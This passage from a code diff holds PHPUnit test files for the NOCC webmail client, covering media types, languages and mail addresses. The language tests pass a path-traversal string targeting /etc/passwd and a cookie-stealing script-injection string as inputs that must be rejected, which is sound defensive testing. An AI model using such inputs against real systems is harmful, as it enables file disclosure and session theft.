$this->assertEquals('BINARY', $this->encoding2->__toString(), '2');
$this->assertEquals('BASE64', $this->encoding3->__toString(), '3');
$this->assertEquals('QUOTED-PRINTABLE', $this->encoding4->__toString(), '4');
$this->assertEquals('OTHER', $this->encoding5->__toString(), '5');
}
}
?>

View file

@ -0,0 +1,424 @@
<?php
/**
* Test cases for NOCC_InternetMediaType.
*
* Copyright 2010-2011 Tim Gerundt <tim@gerundt.de>
*
* This file is part of NOCC. NOCC is free software under the terms of the
* GNU General Public License. You should have received a copy of the license
* along with NOCC. If not, see <http://www.gnu.org/licenses/>.
*
* @package NOCC
* @subpackage Tests
* @license http://www.gnu.org/licenses/ GNU General Public License
* @version SVN: $Id: NOCC_InternetMediaTypeTest.php 2373 2011-01-04 15:06:58Z gerundt $
*/
require_once 'PHPUnit/Framework.php';
require_once dirname(__FILE__).'/../../classes/nocc_internetmediatype.php';
/**
* Test class for NOCC_InternetMediaType.
*/
class NOCC_InternetMediaTypeTest extends PHPUnit_Framework_TestCase {
/**
* @var NOCC_InternetMediaType
*/
protected $internetMediaTypeNull;
/**
* @var NOCC_InternetMediaType
*/
protected $internetMediaTypeBug;
/**
* @var NOCC_InternetMediaType
*/
protected $internetMediaType0;
/**
* @var NOCC_InternetMediaType
*/
protected $internetMediaType1;
/**
* @var NOCC_InternetMediaType
*/
protected $internetMediaType2;
/**
* @var NOCC_InternetMediaType
*/
protected $internetMediaType3;
/**
* @var NOCC_InternetMediaType
*/
protected $internetMediaType4;
/**
* @var NOCC_InternetMediaType
*/
protected $internetMediaType5;
/**
* @var NOCC_InternetMediaType
*/
protected $internetMediaType6;
/**
* @var NOCC_InternetMediaType
*/
protected $internetMediaType7;
/**
* Sets up the fixture, for example, opens a network connection.
* This method is called before a test is executed.
*/
protected function setUp() {
$this->internetMediaTypeNull = new NOCC_InternetMediaType(null, null);
$this->internetMediaTypeBug = new NOCC_InternetMediaType('bug', 'bug');
$this->internetMediaType0 = new NOCC_InternetMediaType(0, 'plain');
$this->internetMediaType1 = new NOCC_InternetMediaType(1, 'ALTERNATIVE');
$this->internetMediaType2 = new NOCC_InternetMediaType(2, 'RFC822');
$this->internetMediaType3 = new NOCC_InternetMediaType(3, 'Pdf');
$this->internetMediaType4 = new NOCC_InternetMediaType(4, 'mpeg');
$this->internetMediaType5 = new NOCC_InternetMediaType(5, 'PNG');
$this->internetMediaType6 = new NOCC_InternetMediaType(6, 'quicktime');
$this->internetMediaType7 = new NOCC_InternetMediaType(7, 'Test');
}
/**
* Test case for getSubtype().
*/
public function test__GetSubtype() {
$this->assertEquals('', $this->internetMediaTypeNull->getSubtype(), 'null, null');
$this->assertEquals('', $this->internetMediaTypeBug->getSubtype(), 'bug, bug');
$this->assertEquals('plain', $this->internetMediaType0->getSubtype(), '0, plain');
$this->assertEquals('alternative', $this->internetMediaType1->getSubtype(), '1, ALTERNATIVE');
$this->assertEquals('rfc822', $this->internetMediaType2->getSubtype(), '2, RFC822');
$this->assertEquals('pdf', $this->internetMediaType3->getSubtype(), '3, Pdf');
$this->assertEquals('mpeg', $this->internetMediaType4->getSubtype(), '4, mpeg');
$this->assertEquals('png', $this->internetMediaType5->getSubtype(), '5, PNG');
$this->assertEquals('quicktime', $this->internetMediaType6->getSubtype(), '6, quicktime');
$this->assertEquals('test', $this->internetMediaType7->getSubtype(), '7, Test');
}
/**
* Test case for isText().
*/
public function testIsText() {
$htmlText = new NOCC_InternetMediaType(0, 'HTML');
$this->assertFalse($this->internetMediaTypeNull->isText(), 'null, null');
$this->assertFalse($this->internetMediaTypeBug->isText(), 'bug, bug');
$this->assertTrue($this->internetMediaType0->isText(), '0, plain');
$this->assertFalse($this->internetMediaType1->isText(), '1, ALTERNATIVE');
$this->assertFalse($this->internetMediaType2->isText(), '2, RFC822');
$this->assertFalse($this->internetMediaType3->isText(), '3, Pdf');
$this->assertFalse($this->internetMediaType4->isText(), '4, mpeg');
$this->assertFalse($this->internetMediaType5->isText(), '5, PNG');
$this->assertFalse($this->internetMediaType6->isText(), '6, quicktime');
$this->assertFalse($this->internetMediaType7->isText(), '7, Test');
$this->assertTrue($htmlText->isText(), '0, HTML');
}
/**
* Test case for isPlainText().
*/
public function testIsPlainText() {
$htmlText = new NOCC_InternetMediaType(0, 'HTML');
$this->assertFalse($this->internetMediaTypeNull->isPlainText(), 'null, null');
$this->assertFalse($this->internetMediaTypeBug->isPlainText(), 'bug, bug');
$this->assertTrue($this->internetMediaType0->isPlainText(), '0, plain');
$this->assertFalse($this->internetMediaType1->isPlainText(), '1, ALTERNATIVE');
$this->assertFalse($this->internetMediaType2->isPlainText(), '2, RFC822');
$this->assertFalse($this->internetMediaType3->isPlainText(), '3, Pdf');
$this->assertFalse($this->internetMediaType4->isPlainText(), '4, mpeg');
$this->assertFalse($this->internetMediaType5->isPlainText(), '5, PNG');
$this->assertFalse($this->internetMediaType6->isPlainText(), '6, quicktime');
$this->assertFalse($this->internetMediaType7->isPlainText(), '7, Test');
$this->assertFalse($htmlText->isPlainText(), '0, HTML');
}
/**
* Test case for isHtmlText().
*/
public function testIsHtmlText() {
$htmlText = new NOCC_InternetMediaType(0, 'HTML');
$this->assertFalse($this->internetMediaTypeNull->isHtmlText(), 'null, null');
$this->assertFalse($this->internetMediaTypeBug->isHtmlText(), 'bug, bug');
$this->assertFalse($this->internetMediaType0->isHtmlText(), '0, plain');
$this->assertFalse($this->internetMediaType1->isHtmlText(), '1, ALTERNATIVE');
$this->assertFalse($this->internetMediaType2->isHtmlText(), '2, RFC822');
$this->assertFalse($this->internetMediaType3->isHtmlText(), '3, Pdf');
$this->assertFalse($this->internetMediaType4->isHtmlText(), '4, mpeg');
$this->assertFalse($this->internetMediaType5->isHtmlText(), '5, PNG');
$this->assertFalse($this->internetMediaType6->isHtmlText(), '6, quicktime');
$this->assertFalse($this->internetMediaType7->isHtmlText(), '7, Test');
$this->assertTrue($htmlText->isHtmlText(), '0, HTML');
}
/**
* Test case for isPlainOrHtmlText().
*/
public function testIsPlainOrHtmlText() {
$htmlText = new NOCC_InternetMediaType(0, 'HTML');
$this->assertFalse($this->internetMediaTypeNull->isPlainOrHtmlText(), 'null, null');
$this->assertFalse($this->internetMediaTypeBug->isPlainOrHtmlText(), 'bug, bug');
$this->assertTrue($this->internetMediaType0->isPlainOrHtmlText(), '0, plain');
$this->assertFalse($this->internetMediaType1->isPlainOrHtmlText(), '1, ALTERNATIVE');
$this->assertFalse($this->internetMediaType2->isPlainOrHtmlText(), '2, RFC822');
$this->assertFalse($this->internetMediaType3->isPlainOrHtmlText(), '3, Pdf');
$this->assertFalse($this->internetMediaType4->isPlainOrHtmlText(), '4, mpeg');
$this->assertFalse($this->internetMediaType5->isPlainOrHtmlText(), '5, PNG');
$this->assertFalse($this->internetMediaType6->isPlainOrHtmlText(), '6, quicktime');
$this->assertFalse($this->internetMediaType7->isPlainOrHtmlText(), '7, Test');
$this->assertTrue($htmlText->isPlainOrHtmlText(), '0, HTML');
}
/**
* Test case for isMultipart().
*/
public function testIsMultipart() {
$this->assertFalse($this->internetMediaTypeNull->isMultipart(), 'null, null');
$this->assertFalse($this->internetMediaTypeBug->isMultipart(), 'bug, bug');
$this->assertFalse($this->internetMediaType0->isMultipart(), '0, plain');
$this->assertTrue($this->internetMediaType1->isMultipart(), '1, ALTERNATIVE');
$this->assertFalse($this->internetMediaType2->isMultipart(), '2, RFC822');
$this->assertFalse($this->internetMediaType3->isMultipart(), '3, Pdf');
$this->assertFalse($this->internetMediaType4->isMultipart(), '4, mpeg');
$this->assertFalse($this->internetMediaType5->isMultipart(), '5, PNG');
$this->assertFalse($this->internetMediaType6->isMultipart(), '6, quicktime');
$this->assertFalse($this->internetMediaType7->isMultipart(), '7, Test');
}
/**
* Test case for isAlternativeMultipart().
*/
public function testIsAlternativeMultipart() {
$relatedMultipart = new NOCC_InternetMediaType(1, 'related');
$this->assertFalse($this->internetMediaTypeNull->isAlternativeMultipart(), 'null, null');
$this->assertFalse($this->internetMediaTypeBug->isAlternativeMultipart(), 'bug, bug');
$this->assertFalse($this->internetMediaType0->isAlternativeMultipart(), '0, plain');
$this->assertTrue($this->internetMediaType1->isAlternativeMultipart(), '1, ALTERNATIVE');
$this->assertFalse($this->internetMediaType2->isAlternativeMultipart(), '2, RFC822');
$this->assertFalse($this->internetMediaType3->isAlternativeMultipart(), '3, Pdf');
$this->assertFalse($this->internetMediaType4->isAlternativeMultipart(), '4, mpeg');
$this->assertFalse($this->internetMediaType5->isAlternativeMultipart(), '5, PNG');
$this->assertFalse($this->internetMediaType6->isAlternativeMultipart(), '6, quicktime');
$this->assertFalse($this->internetMediaType7->isAlternativeMultipart(), '7, Test');
$this->assertFalse($relatedMultipart->isAlternativeMultipart(), '1, related');
}
/**
* Test case for isRelatedMultipart().
*/
public function testIsRelatedMultipart() {
$relatedMultipart = new NOCC_InternetMediaType(1, 'related');
$this->assertFalse($this->internetMediaTypeNull->isRelatedMultipart(), 'null, null');
$this->assertFalse($this->internetMediaTypeBug->isRelatedMultipart(), 'bug, bug');
$this->assertFalse($this->internetMediaType0->isRelatedMultipart(), '0, plain');
$this->assertfalse($this->internetMediaType1->isRelatedMultipart(), '1, ALTERNATIVE');
$this->assertFalse($this->internetMediaType2->isRelatedMultipart(), '2, RFC822');
$this->assertFalse($this->internetMediaType3->isRelatedMultipart(), '3, Pdf');
$this->assertFalse($this->internetMediaType4->isRelatedMultipart(), '4, mpeg');
$this->assertFalse($this->internetMediaType5->isRelatedMultipart(), '5, PNG');
$this->assertFalse($this->internetMediaType6->isRelatedMultipart(), '6, quicktime');
$this->assertFalse($this->internetMediaType7->isRelatedMultipart(), '7, Test');
$this->assertTrue($relatedMultipart->isRelatedMultipart(), '1, related');
}
/**
* Test case for isMessage().
*/
public function testIsMessage() {
$this->assertFalse($this->internetMediaTypeNull->isMessage(), 'null, null');
$this->assertFalse($this->internetMediaTypeBug->isMessage(), 'bug, bug');
$this->assertFalse($this->internetMediaType0->isMessage(), '0, plain');
$this->assertFalse($this->internetMediaType1->isMessage(), '1, ALTERNATIVE');
$this->assertTrue($this->internetMediaType2->isMessage(), '2, RFC822');
$this->assertFalse($this->internetMediaType3->isMessage(), '3, Pdf');
$this->assertFalse($this->internetMediaType4->isMessage(), '4, mpeg');
$this->assertFalse($this->internetMediaType5->isMessage(), '5, PNG');
$this->assertFalse($this->internetMediaType6->isMessage(), '6, quicktime');
$this->assertFalse($this->internetMediaType7->isMessage(), '7, Test');
}
/**
* Test case for isRfc822Message().
*/
public function testIsRfc822Message() {
$testMessage = new NOCC_InternetMediaType(2, 'test');
$this->assertFalse($this->internetMediaTypeNull->isRfc822Message(), 'null, null');
$this->assertFalse($this->internetMediaTypeBug->isRfc822Message(), 'bug, bug');
$this->assertFalse($this->internetMediaType0->isRfc822Message(), '0, plain');
$this->assertFalse($this->internetMediaType1->isRfc822Message(), '1, ALTERNATIVE');
$this->assertTrue($this->internetMediaType2->isRfc822Message(), '2, RFC822');
$this->assertFalse($this->internetMediaType3->isRfc822Message(), '3, Pdf');
$this->assertFalse($this->internetMediaType4->isRfc822Message(), '4, mpeg');
$this->assertFalse($this->internetMediaType5->isRfc822Message(), '5, PNG');
$this->assertFalse($this->internetMediaType6->isRfc822Message(), '6, quicktime');
$this->assertFalse($this->internetMediaType7->isRfc822Message(), '7, Test');
$this->assertFalse($testMessage->isRfc822Message(), '2, test');
}
/**
* Test case for isApplication().
*/
public function testIsApplication() {
$this->assertFalse($this->internetMediaTypeNull->isApplication(), 'null, null');
$this->assertFalse($this->internetMediaTypeBug->isApplication(), 'bug, bug');
$this->assertFalse($this->internetMediaType0->isApplication(), '0, plain');
$this->assertFalse($this->internetMediaType1->isApplication(), '1, ALTERNATIVE');
$this->assertFalse($this->internetMediaType2->isApplication(), '2, RFC822');
$this->assertTrue($this->internetMediaType3->isApplication(), '3, Pdf');
$this->assertFalse($this->internetMediaType4->isApplication(), '4, mpeg');
$this->assertFalse($this->internetMediaType5->isApplication(), '5, PNG');
$this->assertFalse($this->internetMediaType6->isApplication(), '6, quicktime');
$this->assertFalse($this->internetMediaType7->isApplication(), '7, Test');
}
/**
* Test case for isAudio().
*/
public function testIsAudio() {
$this->assertFalse($this->internetMediaTypeNull->isAudio(), 'null, null');
$this->assertFalse($this->internetMediaTypeBug->isAudio(), 'bug, bug');
$this->assertFalse($this->internetMediaType0->isAudio(), '0, plain');
$this->assertFalse($this->internetMediaType1->isAudio(), '1, ALTERNATIVE');
$this->assertFalse($this->internetMediaType2->isAudio(), '2, RFC822');
$this->assertFalse($this->internetMediaType3->isAudio(), '3, Pdf');
$this->assertTrue($this->internetMediaType4->isAudio(), '4, mpeg');
$this->assertFalse($this->internetMediaType5->isAudio(), '5, PNG');
$this->assertFalse($this->internetMediaType6->isAudio(), '6, quicktime');
$this->assertFalse($this->internetMediaType7->isAudio(), '7, Test');
}
/**
* Test case for isImage().
*/
public function testIsImage() {
$this->assertFalse($this->internetMediaTypeNull->isImage(), 'null, null');
$this->assertFalse($this->internetMediaTypeBug->isImage(), 'bug, bug');
$this->assertFalse($this->internetMediaType0->isImage(), '0, plain');
$this->assertFalse($this->internetMediaType1->isImage(), '1, ALTERNATIVE');
$this->assertFalse($this->internetMediaType2->isImage(), '2, RFC822');
$this->assertFalse($this->internetMediaType3->isImage(), '3, Pdf');
$this->assertFalse($this->internetMediaType4->isImage(), '4, mpeg');
$this->assertTrue($this->internetMediaType5->isImage(), '5, PNG');
$this->assertFalse($this->internetMediaType6->isImage(), '6, quicktime');
$this->assertFalse($this->internetMediaType7->isImage(), '7, Test');
}
/**
* Test case for isVideo().
*/
public function testIsVideo() {
$this->assertFalse($this->internetMediaTypeNull->isVideo(), 'null, null');
$this->assertFalse($this->internetMediaTypeBug->isVideo(), 'bug, bug');
$this->assertFalse($this->internetMediaType0->isVideo(), '0, plain');
$this->assertFalse($this->internetMediaType1->isVideo(), '1, ALTERNATIVE');
$this->assertFalse($this->internetMediaType2->isVideo(), '2, RFC822');
$this->assertFalse($this->internetMediaType3->isVideo(), '3, Pdf');
$this->assertFalse($this->internetMediaType4->isVideo(), '4, mpeg');
$this->assertFalse($this->internetMediaType5->isVideo(), '5, PNG');
$this->assertTrue($this->internetMediaType6->isVideo(), '6, quicktime');
$this->assertFalse($this->internetMediaType7->isVideo(), '7, Test');
}
/**
* Test case for isOther().
*/
public function testIsOther() {
$this->assertFalse($this->internetMediaTypeNull->isOther(), 'null, null');
$this->assertFalse($this->internetMediaTypeBug->isOther(), 'bug, bug');
$this->assertFalse($this->internetMediaType0->isOther(), '0, plain');
$this->assertFalse($this->internetMediaType1->isOther(), '1, ALTERNATIVE');
$this->assertFalse($this->internetMediaType2->isOther(), '2, RFC822');
$this->assertFalse($this->internetMediaType3->isOther(), '3, Pdf');
$this->assertFalse($this->internetMediaType4->isOther(), '4, mpeg');
$this->assertFalse($this->internetMediaType5->isOther(), '5, PNG');
$this->assertFalse($this->internetMediaType6->isOther(), '6, quicktime');
$this->assertTrue($this->internetMediaType7->isOther(), '7, Test');
}
/**
* Test case for isAlternative().
*/
public function testIsAlternative() {
$relatedMultipart = new NOCC_InternetMediaType(1, 'related');
$alternativeOther = new NOCC_InternetMediaType(7, 'alternative');
$relatedOther = new NOCC_InternetMediaType(7, 'RELATED');
$this->assertFalse($this->internetMediaTypeNull->isAlternative(), 'null, null');
$this->assertFalse($this->internetMediaTypeBug->isAlternative(), 'bug, bug');
$this->assertFalse($this->internetMediaType0->isAlternative(), '0, plain');
$this->assertTrue($this->internetMediaType1->isAlternative(), '1, ALTERNATIVE');
$this->assertFalse($this->internetMediaType2->isAlternative(), '2, RFC822');
$this->assertFalse($this->internetMediaType3->isAlternative(), '3, Pdf');
$this->assertFalse($this->internetMediaType4->isAlternative(), '4, mpeg');
$this->assertFalse($this->internetMediaType5->isAlternative(), '5, PNG');
$this->assertFalse($this->internetMediaType6->isAlternative(), '6, quicktime');
$this->assertFalse($this->internetMediaType7->isAlternative(), '7, Test');
$this->assertFalse($relatedMultipart->isAlternative(), '1, related');
$this->assertTrue($alternativeOther->isAlternative(), '7, alternative');
$this->assertFalse($relatedOther->isAlternative(), '7, RELATED');
}
/**
* Test case for isRelated().
*/
public function testIsRelated() {
$relatedMultipart = new NOCC_InternetMediaType(1, 'related');
$alternativeOther = new NOCC_InternetMediaType(7, 'alternatvie');
$relatedOther = new NOCC_InternetMediaType(7, 'RELATED');
$this->assertFalse($this->internetMediaTypeNull->isRelated(), 'null, null');
$this->assertFalse($this->internetMediaTypeBug->isRelated(), 'bug, bug');
$this->assertFalse($this->internetMediaType0->isRelated(), '0, plain');
$this->assertFalse($this->internetMediaType1->isRelated(), '1, ALTERNATIVE');
$this->assertFalse($this->internetMediaType2->isRelated(), '2, RFC822');
$this->assertFalse($this->internetMediaType3->isRelated(), '3, Pdf');
$this->assertFalse($this->internetMediaType4->isRelated(), '4, mpeg');
$this->assertFalse($this->internetMediaType5->isRelated(), '5, PNG');
$this->assertFalse($this->internetMediaType6->isRelated(), '6, quicktime');
$this->assertFalse($this->internetMediaType7->isRelated(), '7, Test');
$this->assertTrue($relatedMultipart->isRelated(), '1, related');
$this->assertFalse($alternativeOther->isRelated(), '7, alternative');
$this->assertTrue($relatedOther->isRelated(), '7, RELATED');
}
/**
* Test case for __toString().
*/
public function test__toString() {
$this->assertEquals('', $this->internetMediaTypeNull->__toString(), 'null, null');
$this->assertEquals('', $this->internetMediaTypeBug->__toString(), 'bug, bug');
$this->assertEquals('text/plain', $this->internetMediaType0->__toString(), '0, plain');
$this->assertEquals('multipart/alternative', $this->internetMediaType1->__toString(), '1, ALTERNATIVE');
$this->assertEquals('message/rfc822', $this->internetMediaType2->__toString(), '2, RFC822');
$this->assertEquals('application/pdf', $this->internetMediaType3->__toString(), '3, Pdf');
$this->assertEquals('audio/mpeg', $this->internetMediaType4->__toString(), '4, mpeg');
$this->assertEquals('image/png', $this->internetMediaType5->__toString(), '5, PNG');
$this->assertEquals('video/quicktime', $this->internetMediaType6->__toString(), '6, quicktime');
$this->assertEquals('other/test', $this->internetMediaType7->__toString(), '7, Test');
}
}
?>

View file

@ -0,0 +1,191 @@
<?php
/**
* Test cases for NOCC_Languages.
*
* Copyright 2009-2011 Tim Gerundt <tim@gerundt.de>
*
* This file is part of NOCC. NOCC is free software under the terms of the
* GNU General Public License. You should have received a copy of the license
* along with NOCC. If not, see <http://www.gnu.org/licenses/>.
*
* @package NOCC
* @subpackage Tests
* @license http://www.gnu.org/licenses/ GNU General Public License
* @version SVN: $Id: NOCC_LanguagesTest.php 2373 2011-01-04 15:06:58Z gerundt $
*/
require_once 'PHPUnit/Framework.php';
require_once dirname(__FILE__).'/../../classes/nocc_languages.php';
/**
* Test class for NOCC_Languages.
*/
class NOCC_LanguagesTest extends PHPUnit_Framework_TestCase {
/**
* @var string
*/
protected $rootPath;
/**
* @var NOCC_Languages
*/
protected $languages1;
/**
* @var NOCC_Languages
*/
protected $languages2;
/**
* @var NOCC_Languages
*/
protected $languages3;
/**
* @var NOCC_Languages
*/
protected $languages4;
/**
* @var NOCC_Languages
*/
protected $languages5;
/**
* Sets up the fixture, for example, opens a network connection.
* This method is called before a test is executed.
*/
protected function setUp() {
$this->rootPath = dirname(__FILE__) . '/../';
$this->languages1 = new NOCC_Languages('');
$this->languages2 = new NOCC_Languages($this->rootPath . './lang', 'de');
$this->languages3 = new NOCC_Languages($this->rootPath . './lang/', 'DE');
$this->languages4 = new NOCC_Languages(array('bug'));
$this->languages5 = new NOCC_Languages($this->rootPath . './lang/', array('bug'));
}
/**
* Test case for count().
*/
public function testCount() {
$this->assertEquals(0, $this->languages1->count());
$this->assertEquals(3, $this->languages2->count(), './lang, de');
$this->assertEquals(3, $this->languages3->count(), './lang/, DE');
$this->assertEquals(0, $this->languages4->count(), 'array(bug)');
$this->assertEquals(3, $this->languages5->count(), './lang/, array(bug)');
}
/**
* Test case for exists().
*/
public function testExists() {
$languages = new NOCC_Languages($this->rootPath . './lang');
$this->assertFalse(@$languages->exists(), 'exists()');
$this->assertFalse($languages->exists(array('bug')), 'exists(array("bug"))');
$this->assertFalse($languages->exists(''), 'exists("")');
$this->assertFalse($languages->exists('notexists'), 'exists("notexists")');
$this->assertTrue($languages->exists('de'), 'exists("de")');
$this->assertTrue($languages->exists('DE'), 'exists("DE")');
}
/**
* @todo Implement testDetectFromBrowser().
*/
public function testDetectFromBrowser() {
// Remove the following lines when you implement this test.
$this->markTestIncomplete(
'This test has not been implemented yet.'
);
}
/**
* Test case for getDefaultLangId().
*/
public function testGetDefaultLangId() {
$this->assertEquals('en', $this->languages1->getDefaultLangId());
$this->assertEquals('de', $this->languages2->getDefaultLangId(), './lang, de');
$this->assertEquals('de', $this->languages3->getDefaultLangId(), './lang/, DE');
$this->assertEquals('en', $this->languages4->getDefaultLangId(), 'array(bug)');
$this->assertEquals('en', $this->languages5->getDefaultLangId(), './lang/, array(bug)');
}
/**
* Test case for setDefaultLangId().
*/
public function testSetDefaultLangId() {
$languages = new NOCC_Languages($this->rootPath . './lang');
$this->assertFalse(@$languages->setDefaultLangId(), 'setDefaultLangId()');
$this->assertEquals('en', $languages->getDefaultLangId(), 'getDefaultLangId()');
$this->assertFalse($languages->setDefaultLangId(array('bug')), 'setDefaultLangId(array("bug"))');
$this->assertEquals('en', $languages->getDefaultLangId(), 'getDefaultLangId()');
$this->assertFalse($languages->setDefaultLangId(''), 'setDefaultLangId("")');
$this->assertEquals('en', $languages->getDefaultLangId(), 'getDefaultLangId()');
$this->assertFalse($languages->setDefaultLangId('notexists'), 'setDefaultLangId("notexists")');
$this->assertEquals('en', $languages->getDefaultLangId(), 'getDefaultLangId()');
$this->assertFalse($languages->setDefaultLangId('../../../../../../../etc/passwd%00'), 'setDefaultLangId("passwd")');
$this->assertEquals('en', $languages->getDefaultLangId(), 'getDefaultLangId()');
$this->assertFalse($languages->setDefaultLangId('<script>alert(document.cookie)</script>'), 'setDefaultLangId("alert()")');
$this->assertEquals('en', $languages->getDefaultLangId(), 'getDefaultLangId()');
$this->assertTrue($languages->setDefaultLangId('se'), 'setDefaultLangId("se")');
$this->assertEquals('se', $languages->getDefaultLangId(), 'getDefaultLangId()');
$this->assertTrue($languages->setDefaultLangId('DE'), 'setDefaultLangId("DE")');
$this->assertEquals('de', $languages->getDefaultLangId(), 'getDefaultLangId()');
}
/**
* Test case for getSelectedLangId().
*/
public function testGetSelectedLangId() {
$this->assertEquals('en', $this->languages1->getSelectedLangId());
$this->assertEquals('de', $this->languages2->getSelectedLangId(), './lang, de');
$this->assertEquals('de', $this->languages3->getSelectedLangId(), './lang/, DE');
$this->assertEquals('en', $this->languages4->getSelectedLangId(), 'array(bug)');
$this->assertEquals('en', $this->languages5->getSelectedLangId(), './lang/, array(bug)');
}
/**
* Test case for setSelectedLangId().
*/
public function testSetSelectedLangId() {
$languages = new NOCC_Languages($this->rootPath . './lang');
$this->assertFalse(@$languages->setSelectedLangId(), 'setSelectedLangId()');
$this->assertEquals('en', $languages->getSelectedLangId(), 'getSelectedLangId()');
$this->assertFalse($languages->setSelectedLangId(array('bug')), 'setSelectedLangId(array("bug"))');
$this->assertEquals('en', $languages->getSelectedLangId(), 'getSelectedLangId()');
$this->assertFalse($languages->setSelectedLangId(''), 'setSelectedLangId("")');
$this->assertEquals('en', $languages->getSelectedLangId(), 'getSelectedLangId()');
$this->assertFalse($languages->setSelectedLangId('../../../../../../../etc/passwd%00'), 'setSelectedLangId("passwd")');
$this->assertEquals('en', $languages->getSelectedLangId(), 'getSelectedLangId()');
$this->assertFalse($languages->setSelectedLangId('<script>alert(document.cookie)</script>'), 'setSelectedLangId("alert()")');
$this->assertEquals('en', $languages->getSelectedLangId(), 'getSelectedLangId()');
$this->assertFalse($languages->setSelectedLangId('notexists'), 'setSelectedLangId("notexists")');
$this->assertEquals('en', $languages->getSelectedLangId(), 'getSelectedLangId()');
$this->assertTrue($languages->setSelectedLangId('se'), 'setSelectedLangId("se")');
$this->assertEquals('se', $languages->getSelectedLangId(), 'getSelectedLangId()');
$this->assertTrue($languages->setSelectedLangId('DE'), 'setSelectedLangId("DE")');
$this->assertEquals('de', $languages->getSelectedLangId(), 'getSelectedLangId()');
}
/**
* Test case for parseAcceptLanguageHeader().
*/
public function testParseAcceptLanguageHeader() {
$this->assertEquals(0, count(@NOCC_Languages::parseAcceptLanguageHeader()), 'parseHttpAcceptLanguage()');
$this->assertEquals(0, count(NOCC_Languages::parseAcceptLanguageHeader(array('bug'))), 'parseHttpAcceptLanguage(array("bug"))');
$this->assertEquals(0, count(NOCC_Languages::parseAcceptLanguageHeader('')), 'parseHttpAcceptLanguage("")');
$this->assertEquals(1, count(NOCC_Languages::parseAcceptLanguageHeader('de')), 'parseHttpAcceptLanguage("de")');
$this->assertEquals(1, count(NOCC_Languages::parseAcceptLanguageHeader('de-de')), 'parseHttpAcceptLanguage("de-de")');
$this->assertEquals(2, count(NOCC_Languages::parseAcceptLanguageHeader('de,de-de')), 'parseHttpAcceptLanguage("de,de-de")');
$this->assertEquals(1, count(NOCC_Languages::parseAcceptLanguageHeader('de-de;q=0.5')), 'parseHttpAcceptLanguage("de-de;q=0.5")');
$this->assertEquals(4, count(NOCC_Languages::parseAcceptLanguageHeader('de-de,de;q=0.8,en-us;q=0.5,en;q=0.3')), 'parseHttpAcceptLanguage("de-de,de;q=0.8,en-us;q=0.5,en;q=0.3")');
$this->assertEquals(1, count(NOCC_Languages::parseAcceptLanguageHeader('De-De ; Q = 0.5')), 'parseHttpAcceptLanguage("de-de;q=0.5")');
$this->assertEquals(4, count(NOCC_Languages::parseAcceptLanguageHeader(' de-de , de; q=0.8, en-us;q=0.5, en;q=0.3')), 'parseHttpAcceptLanguage(" de-de , de; q=0.8, en-us;q=0.5, en;q=0.3")');
$this->assertEquals(0, count(NOCC_Languages::parseAcceptLanguageHeader(',,,;;;')), 'parseHttpAcceptLanguage(",,,;;;")');
}
}
?>

View file

@ -0,0 +1,210 @@
<?php
/**
* Test cases for NOCC_MailAddress.
*
* Copyright 2009-2011 Tim Gerundt <tim@gerundt.de>
*
* This file is part of NOCC. NOCC is free software under the terms of the
* GNU General Public License. You should have received a copy of the license
* along with NOCC. If not, see <http://www.gnu.org/licenses/>.
*
* @package NOCC
* @subpackage Tests
* @license http://www.gnu.org/licenses/ GNU General Public License
* @version SVN: $Id: NOCC_MailAddressTest.php 2512 2011-09-08 18:38:46Z gerundt $
*/
require_once 'PHPUnit/Framework.php';
require_once dirname(__FILE__).'/../../classes/nocc_mailaddress.php';
/**
* Test class for NOCC_MailAddress.
*/
class NOCC_MailAddressTest extends PHPUnit_Framework_TestCase {
/**
* @var NOCC_MailAddress
*/
protected $mailAddress1;
/**
* @var NOCC_MailAddress
*/
protected $mailAddress2;
/**
* @var NOCC_MailAddress
*/
protected $mailAddress3;
/**
* @var NOCC_MailAddress
*/
protected $mailAddress4;
/**
* @var NOCC_MailAddress
*/
protected $mailAddress5;
/**
* @var NOCC_MailAddress
*/
protected $mailAddress6;
/**
* @var NOCC_MailAddress
*/
protected $mailAddress7;
/**
* Sets up the fixture, for example, opens a network connection.
* This method is called before a test is executed.
*/
protected function setUp() {
$this->mailAddress1 = new NOCC_MailAddress('');
$this->mailAddress2 = new NOCC_MailAddress('foo@bar.org');
$this->mailAddress3 = new NOCC_MailAddress('Foo Bar <foo@bar.org>');
$this->mailAddress4 = new NOCC_MailAddress('"Foo Bar" <foo@bar.org>');
$this->mailAddress5 = new NOCC_MailAddress('bug');
$this->mailAddress6 = new NOCC_MailAddress('foo@bar.org', 'Foobar');
$this->mailAddress7 = new NOCC_MailAddress('"foo <test> bar" <foo@bar.org>');
}
/**
* Test case for getName().
*/
public function testGetName() {
$this->assertEquals('', $this->mailAddress1->getName());
$this->assertEquals('', $this->mailAddress2->getName(), 'foo@bar.org');
$this->assertEquals('Foo Bar', $this->mailAddress3->getName(), 'Foo Bar <foo@bar.org>');
$this->assertEquals('Foo Bar', $this->mailAddress4->getName(), '"Foo Bar" <foo@bar.org>');
$this->assertEquals('', $this->mailAddress5->getName(), 'bug');
$this->assertEquals('Foobar', $this->mailAddress6->getName(), 'foo@bar.org, Foobar');
$this->assertEquals('foo <test> bar', $this->mailAddress7->getName(), '"foo <test> bar" <foo@bar.org>');
}
/**
* Test case for hasName().
*/
public function testHasName() {
$this->assertFalse($this->mailAddress1->hasName());
$this->assertFalse($this->mailAddress2->hasName(), 'foo@bar.org');
$this->assertTrue($this->mailAddress3->hasName(), 'Foo Bar <foo@bar.org>');
$this->assertTrue($this->mailAddress4->hasName(), '"Foo Bar" <foo@bar.org>');
$this->assertFalse($this->mailAddress5->hasName(), 'bug');
$this->assertTrue($this->mailAddress6->hasName(), 'foo@bar.org, Foobar');
$this->assertTrue($this->mailAddress7->hasName(), '"foo <test> bar" <foo@bar.org>');
}
/**
* Test case for setName().
*/
public function testSetName() {
$mailAddress = new NOCC_MailAddress('"Foo Bar" <foo@bar.org>');
$this->assertEquals('Foo Bar', $mailAddress->getName(), '"Foo Bar" <foo@bar.org>');
$mailAddress->setName('Bar Foo');
$this->assertEquals('Bar Foo', $mailAddress->getName(), '"Bar Foo" <foo@bar.org>');
$mailAddress->setName(false);
$this->assertEquals('Bar Foo', $mailAddress->getName(), '"Bar Foo" <foo@bar.org>');
}
/**
* Test case for getAddress().
*/
public function testGetAddress() {
$this->assertEquals('', $this->mailAddress1->getAddress());
$this->assertEquals('foo@bar.org', $this->mailAddress2->getAddress(), 'foo@bar.org');
$this->assertEquals('foo@bar.org', $this->mailAddress3->getAddress(), 'Foo Bar <foo@bar.org>');
